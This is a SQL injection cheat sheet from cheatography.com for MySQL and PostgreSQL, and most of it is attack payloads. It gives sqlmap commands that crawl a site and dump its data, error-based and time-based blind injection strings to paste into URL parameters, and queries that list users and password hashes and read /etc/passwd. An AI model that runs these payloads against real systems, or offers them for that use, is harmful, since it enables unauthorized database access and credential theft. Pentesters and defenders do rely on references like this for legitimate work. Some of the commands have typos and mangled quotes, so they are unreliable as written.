Injection SQL Cheat Sheet

by Neolex via cheatography.com/32330/cs/9949/

Automated tools

SQLMAP	sqlmap -u "url" --forms --batch --crawl=10 --level=5 --risk=3
NMAP	nmap -p80 --script=http-sql-injection --script-args=httpspider.maxpagecount=200 <target>

Mysql

Version	SELECT @@version;
Comments	/ / ou #
Current user	SELECT user(); || SELECT system_user()
List users	SELECT user FROM mysql.user;
List password hashes	SELECT host, user, password FROM mysql.user;
Current database	SELECT database()
List databases	SELECT schema_name FROM information_schema.schemata; || SELECT distinct(db) FROM mysql.db
List tables	SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List collumns	SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column Name	SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’;
Time delay	SELECT BENCHMARK(1000000,MD5(‘A’)); SELECT SLEEP(5); # >= 5.0.12
Local File Access	…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) —
Hostname/IP Address	SELECT @@hostname;
Create user	CREATE USER test1 IDENTIFIED BY ‘pass1’; —
Delete user	DROP USER test1; —
Location of the db file	SELECT @@datadir;

SQLMAP

sqlmap -u "url" -DBS
sqlmap -u "url" -table -D [database]
sqlmap -u "url" -columns -D [database] -T [table]
sqlmap -u "url" -dump -D [database] -T [table]

Manually Attack

Quick detect INTEGERS	select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Quick detect STRINGS	'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
Clear SQL Test	product.php?id=4 product.php?id=5-1 product.php?id=4 OR 1=1 product.php?id=-1 OR 17-7=10
Blind SQL Injection	SLEEP(25)-- SELECT BENCHMARK(1000000,MD5('A'));
Real world sample	ProductID=1 OR SLEEP(25)=0 LIMIT 1-- ProductID=1) OR SLEEP(25)=0 LIMIT 1-- ProductID=1' OR SLEEP(25)=0 LIMIT 1-- ProductID=1') OR SLEEP(25)=0 LIMIT 1-- ProductID=1)) OR SLEEP(25)=0 LIMIT 1-- ProductID=SELECT SLEEP(25)--

PostgreSQL

Version	SELECT version()
Comments	-comment | / *comment* /
Current user	SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername();
List users	SELECT usename FROM pg_user
List DBA Accounts	SELECT usename FROM pg_user WHERE usesuper IS TRUE
List password hashes	SELECT usename, passwd FROM pg_shadow — priv
Current database	SELECT current_database()
List databases	SELECT datname FROM pg_database

PostgreSQL (cont)

List tables	SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid)
List collumns	SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’)
Find Tables From Column Name	SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’;
Time delay	SELECT pg_sleep(10);
Local File Access	CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’;
Hostname/IP Address	SELECT inet_server_addr();
Port	SELECT inet_server_port();
Create user	CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER
Delete user	DROP USER test1;
Location of the db file	SELECT current_setting(‘data_directory’);